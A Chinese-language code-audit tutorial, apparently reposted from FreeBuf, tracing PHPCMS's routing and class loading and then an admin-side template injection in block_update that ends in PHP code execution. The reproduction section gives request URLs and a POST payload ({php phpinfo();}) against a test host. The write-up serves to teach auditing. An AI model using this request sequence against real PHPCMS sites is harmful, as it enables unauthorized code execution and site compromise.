代码审计实战思路之浅析PHPCMS
作者:admin | 时间:2019-3-14 21:48:00 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
这是在FreeBuf的第二篇审计文章,不是想讲漏洞分析,更多是想写下整个审计的过程,在我最开始学代码审计时,拿到一套cms,却无从下手,想从网上找找实战案例,但找到的大都是案例分析,没见过几篇是把整个审计过程写下来的。经过一番摸索,终于从小白进阶到菜鸟,于是想着写几篇带完整过程的代码审计文章,尽管这些过程在大佬们看来跟后面的漏洞关系不大、并不重要;但对于新手朋友来说,这可能是一篇把他从迷茫中拉出来的文章。
虽然我只写了两篇,但每篇都是我审计时的完整过程,算不是什么深度好文,但只希望能给新手朋友一点点帮助。我只是位菜鸟,写出让大佬满意的文章,我不是小说主角,做不出越级的操作,但我的文章兴许能对新人朋友有帮助呢?毕竟我也是刚从新手过来的,我知道那时候的我想要什么,但找不到;如果后来人也这么想,也像当初的我那样想,那这两篇就没白写~
通读全文
跟进index.php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
将phpcms/base.php
包含进来,然后调用pc_base::creat_app
函数,跟进phpcms/base.php
define('IN_PHPCMS', true); //PHPCMS框架路径 define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); if(!defined('PHPCMS_PATH')) define('PHPCMS_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR); //缓存文件夹地址 define('CACHE_PATH', PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR); //主机协议 define('SITE_PROTOCOL', isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://'); //当前访问的主机名 define('SITE_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '')); //来源 define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''); //系统开始时间 define('SYS_START_TIME', microtime()); //加载公用函数库 pc_base::load_sys_func('global');
pc_base::load_sys_func('extention');
pc_base::auto_load_func();
pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE); //设置本地时差 function_exists('date_default_timezone_set') && date_default_timezone_set(pc_base::load_config('system','timezone'));
define('CHARSET' ,pc_base::load_config('system','charset')); //输出页面字符集 header('Content-type: text/html; charset='.CHARSET);
define('SYS_TIME', time()); //定义网站根路径 define('WEB_PATH',pc_base::load_config('system','web_path')); //js 路径 define('JS_PATH',pc_base::load_config('system','js_path')); //css 路径 define('CSS_PATH',pc_base::load_config('system','css_path')); //img 路径 define('IMG_PATH',pc_base::load_config('system','img_path')); //动态程序路径 define('APP_PATH',pc_base::load_config('system','app_path')); //应用静态文件路径 define('PLUGIN_STATICS_PATH',WEB_PATH.'statics/plugin/');
......
9-60
行,定义常量,加载通用函数库
继续跟进pc_base::creat_app
方法,phpcms/base.php
67行
/**
* 初始化应用程序
*/ public static function creat_app() { return self::load_sys_class('application');
}
这里介绍几个比较常用的方法,都在pc_base类中
load_sys_class
//加载系统类
load_app_class
//加载应用类
load_model
//加载数据模型load_config
//加载配置文件
/**
* 加载系统类方法
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/ public static function load_sys_class($classname, $path = '', $initialize = 1) { return self::_load_class($classname, $path, $initialize);
}
/**
* 加载应用类方法
* @param string $classname 类名
* @param string $m 模块
* @param intger $initialize 是否初始化
*/ public static function load_app_class($classname, $m = '', $initialize = 1) {
$m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m; if (empty($m)) return false; return self::_load_class($classname, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'classes', $initialize);
}
/**
* 加载数据模型
* @param string $classname 类名
*/ public static function load_model($classname) { return self::_load_class($classname,'model');
}
对比三个方法发现,相同的是核心都是调用_load_class
方法,跟进_load_class
方法
/**
* 加载类文件函数
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/ private static function _load_class($classname, $path = '', $initialize = 1) { static $classes = array(); if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname); if (isset($classes[$key])) { if (!empty($classes[$key])) { return $classes[$key];
} else { return true;
}
} if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) { include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname; if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) { include $my_path;
$name = 'MY_'.$classname;
} if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
} return $classes[$key];
} else { return false;
}
}
跟读完_load_class
方法,可知:
当调用
load_sys_class
时,到phpcms/libs/classes
目录下找xx.class.php
当调用
load_app_class
时,到phpcms/modules/模块名/classes/
目录下找xx.class.php
当调用
load_model
时,到phpcms/model
目录下找xx.class.php
如果
$initialize=1
时,包含类文件并实例化类,反之,仅包含类文件
还有个load_config
方法,用于加载配置文件,继续跟进 260行
/**
* 加载配置文件
* @param string $file 配置文件
* @param string $key 要获取的配置荐
* @param string $default 默认配置。当获取配置项目失败时该值发生作用。
* @param boolean $reload 强制重新加载。
*/ public static function load_config($file, $key = '', $default = '', $reload = false) { static $configs = array(); if (!$reload && isset($configs[$file])) { if (empty($key)) { return $configs[$file];
} elseif (isset($configs[$file][$key])) { return $configs[$file][$key];
} else { return $default;
}
}
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php'; if (file_exists($path)) {
$configs[$file] = include $path;
} if (empty($key)) { return $configs[$file];
} elseif (isset($configs[$file][$key])) { return $configs[$file][$key];
} else { return $default;
}
}
调用
load_config
时,到caches/configs/
目录下找xx.php
如果
$key
不为空时,返回具体配置变量的值,反之,返回整个配置文件中的配置信息
了解了几个常见的方法后,继续回到pc_base::creat_app
方法
/**
* 初始化应用程序
*/ public static function creat_app() { return self::load_sys_class('application');
}
该处只有一句代码,实例化application
类,由于前面已经了解过这几个常见的方法,所以这里能轻易的就找到application
类的文件,跟进phpcms/libs/classes/application.class.php
class application { /**
* 构造函数
*/ public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
......
在application
类的构造方法中实例化了param
类,并定义了几个常量,根据常量名,猜测应该是跟路由相关,跟进phpcms/libs/classes/param.class.php
class param { //路由配置 private $route_config = ''; public function __construct() { if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default'); if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) { foreach($this->route_config['data']['POST'] as $_key => $_value) { if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
}
} if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) { foreach($this->route_config['data']['GET'] as $_key => $_value) { if(!isset($_GET[$_key])) $_GET[$_key] = $_value;
}
} if(isset($_GET['page'])) {
$_GET['page'] = max(intval($_GET['page']),1);
$_GET['page'] = min($_GET['page'],1000000000);
} return true;
}
......
将post
、get
等外部传入的变量交给new_addslashes
函数处理,new_addslashes
函数的核心就是addslashes
除了转义外部传入的变量,还有就是加载route
配置,在caches/configs/route.php
,如下
return array( 'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
继续往下,
/**
* 获取模型
*/ public function route_m() {
$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
$m = $this->safe_deal($m); if (empty($m)) { return $this->route_config['m'];
} else { if(is_string($m)) return $m;
}
} /**
* 获取控制器
*/ public function route_c() {
$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
$c = $this->safe_deal($c); if (empty($c)) { return $this->route_config['c'];
} else { if(is_string($c)) return $c;
}
} /**
* 获取事件
*/ public function route_a() {
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
$a = $this->safe_deal($a); if (empty($a)) { return $this->route_config['a'];
} else { if(is_string($a)) return $a;
}
}
....... /**
* 安全处理函数
* 处理m,a,c
*/ private function safe_deal($str) { return str_replace(array('/', '.'), '', $str);
}
回到application
类的构造方法
/**
* 构造函数
*/ public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
几个常量的值也知道是什么了,继续跟进$this->init
方法 25行
/**
* 调用件事
*/ private function init() {
$controller = $this->load_controller(); if (method_exists($controller, ROUTE_A)) { if (preg_match('/^[_]/i', ROUTE_A)) { exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else { exit('Action does not exist.');
}
}
跟进$this->load_controller
44行
/**
* 加载控制器
* @param string $filename
* @param string $m
* @return obj
*/ private function load_controller($filename = '', $m = '') { if (empty($filename)) $filename = ROUTE_C; if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php'; if (file_exists($filepath)) {
$classname = $filename; include $filepath; if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename; include $mypath;
} if(class_exists($classname)){ return new $classname;
}else{ exit('Controller does not exist.');
}
} else { exit('Controller does not exist.');
}
}
包含控制器类文件,实例化控制器并返回,具体文件路径:modules/模块名/控制器名.php
(默认加载modules/content/index.php
)
$this->init
方法调用$this->load_controller
方法来加载和实例化控制器类,然后调用具体的方法
跟读完index.php
,了解到
核心类库在
phpcms/libs/classes/
模型类库在
phpcms/model/
应用目录
phpcms/modules/
配置目录
caches/configs/
全局变量被转义,
$_SERVER
除外模块名、控制器名、方法名中的
/
、.
会被过滤方法名不允许以
_
开头
了解了整体结构后,再来思考下审计的方式方法:
方案一:先对核心类库进行审计,如果找到漏洞,那么在网站中可能会存在多处相同的漏洞,就算找不到漏洞,那对核心类库中的方法也多少了解,后面对具体应用功能审计时也会轻松一些
方案二:直接审计功能点,优点:针对性更强;缺点:某个功能点可能调用了多个核心类库中的方法,由于对核心类库不了解,跟读时可能会比较累,需要跟的东西可能会比较多
//无论哪种方案,没耐心是不行滴;如果你审计时正好心烦躁的很,那你可以在安装好应用后,随便点点,开着bp,抓抓改改,发现觉得可能存在问题的点再跟代码,这种方式(有点偏黑盒)能发现一些比较明显的问题,想深入挖掘,建议参考前面两种方案
漏洞分析
漏洞存在于 phpcms/modules/block/block_admin.php
的block_update
方法 120行
public function block_update() {
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : showmessage(L('illegal_operation'), HTTP_REFERER); //进行权限判断 if ($this->roleid != 1) { if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) {
showmessage(L('not_have_permissions'));
}
} if (!$data = $this->db->get_one(array('id'=>$id))) {
showmessage(L('nofound'));
} if (isset($_POST['dosubmit'])) {
$sql = array(); if ($data['type'] == 2) {
$title = isset($_POST['title']) ? $_POST['title'] : '';
$url = isset($_POST['url']) ? $_POST['url'] : '';
$thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
$desc = isset($_POST['desc']) ? $_POST['desc'] : '';
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
$datas = array(); foreach ($title as $key=>$v) { if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
$datas[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('', ' '), $desc[$key]));
} if ($template) {
$block = pc_base::load_app_class('block_tag');
$block->template_url($id, $template); //代码太长,把关键点放出来就好 .......
.......
}
在block_admin
方法中,先是通过id
来判断权限 (这里可以新建一条记录来获取id
)
然后就是对post
传入的数据进行处理,关键点在$block->template_url
方法,跟进 phpcms/modules/classes/block_tag.class.php
46行
/**
* 生成模板返回路径
* @param integer $id 碎片ID号
* @param string $template 风格
*/ public function template_url($id, $template = '') {
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
$dir = dirname($filepath); if ($template) { if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
@file_put_contents($filepath, $str);
} else { if (!file_exists($filepath)) { if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $this->db->get_one(array('id'=>$id), 'template');
$str = $tpl->template_parse($str['template']);
@file_put_contents($filepath, $str);
}
} return $filepath;
}
在$block->template_url
方法中,调用了$tpl->template_parse
方法对 $template
变量进行处理,然后写入文件,最后返回文件路径
跟进$tpl->template_parse
方法,phpcms/libs/classes/template_cache.class.php
69行
/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/ public function template_parse($str) {
$str = preg_replace ( "/\{template\s+(.+)\}/", "", $str );
$str = preg_replace ( "/\{include\s+(.+)\}/", "", $str );
$str = preg_replace ( "/\{php\s+(.+)\}/", "", $str );
$str = preg_replace ( "/\{if\s+(.+?)\}/", "", $str );
$str = preg_replace ( "/\{else\}/", "", $str );
$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "", $str );
$str = preg_replace ( "/\{\/if\}/", "", $str ); //for 循环 $str = preg_replace("/\{for\s+(.+?)\}/","",$str);
$str = preg_replace("/\{\/for\}/","",$str); //++ -- $str = preg_replace("/\{\+\+(.+?)\}/","",$str);
$str = preg_replace("/\{\-\-(.+?)\}/","",$str);
$str = preg_replace("/\{(.+?)\+\+\}/","",$str);
$str = preg_replace("/\{(.+?)\-\-\}/","",$str);
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "", $str );
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", " \\3) { ?>", $str );
$str = preg_replace ( "/\{\/loop\}/", "", $str );
$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str );
$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str );
$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "", $str );
$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str);
$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "", $str );
$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
$str = "" . $str; return $str;
}
$tpl->template_parse
方法主要负责模板解析,但并没看到有什么限制,
回到$block->template_url
方法
public function template_url($id, $template = '') {
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
$dir = dirname($filepath); if ($template) { if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
@file_put_contents($filepath, $str);
......
}
$template
变量由post
传入,可控;但$filepath
不能直接访问,因为在$tpl->template_parse
处理时在$template
前面拼接了一段<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>
,所以,想要利用还需要找到一处包含点
在block_tag
类中处理template_url
方法还有一个pc_tag
/**
* PC标签中调用数据
* @param array $data 配置数据
*/ public function pc_tag($data) {
$siteid = isset($data['siteid']) && intval($data['siteid']) ? intval($data['siteid']) : get_siteid();
$r = $this->db->select(array('pos'=>$data['pos'], 'siteid'=>$siteid));
$str = ''; if (!empty($r) && is_array($r)) foreach ($r as $v) { if (defined('IN_ADMIN') && !defined('HTML')) $str .= ''; if ($v['type'] == '2') {
extract($v, EXTR_OVERWRITE);
$data = string2array($data); if (!defined('HTML')) {
ob_start(); include $this->template_url($id);
$str .= ob_get_contents();
ob_clean();
} else { include $this->template_url($id);
}
} else {
$str .= $v['data'];
} if (defined('IN_ADMIN') && !defined('HTML')) $str .= '';
} return $str;
}
注意那句include $this->template_url($id);
,妥妥的包含点啊
接下来再找找哪里调用了该方法就好了
全局搜索->pc_tag(
发现在caches/cache_template/default/link/register.php
文件中调用了该方法,但这个文件也不能直接访问,看路径感觉像缓存文件,尝试跟进到link
模块的register
方法
/**
* 申请友情链接
*/ public function register() {
......... include template('link', 'register');
}
}
可算找到了,template('link', 'register')
返回的结果就是caches/cache_template/default/link/register.php
漏洞复现
复现条件:
登录后台
调用block_update
需要传入id
,所以先插入一条数据来获取id
,构造数据包如下
URL: http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD POST:dosubmit=&name=bb&type=2
插入成功如下图:
点击跳转,可跳转到block_update
方法(包含id
)
构造数据包如下:
URL:http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=block_update&id=4&pc_hash=gh43rD&pc_hash=gh43rD POST:dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}
访问shell:
可算写完了,写到后面人都懵了,漏洞分析后半部分跟漏洞复现那块,感觉有点粗糙,各位大佬见谅哈!!
END!!!
*本文作者:wnltc0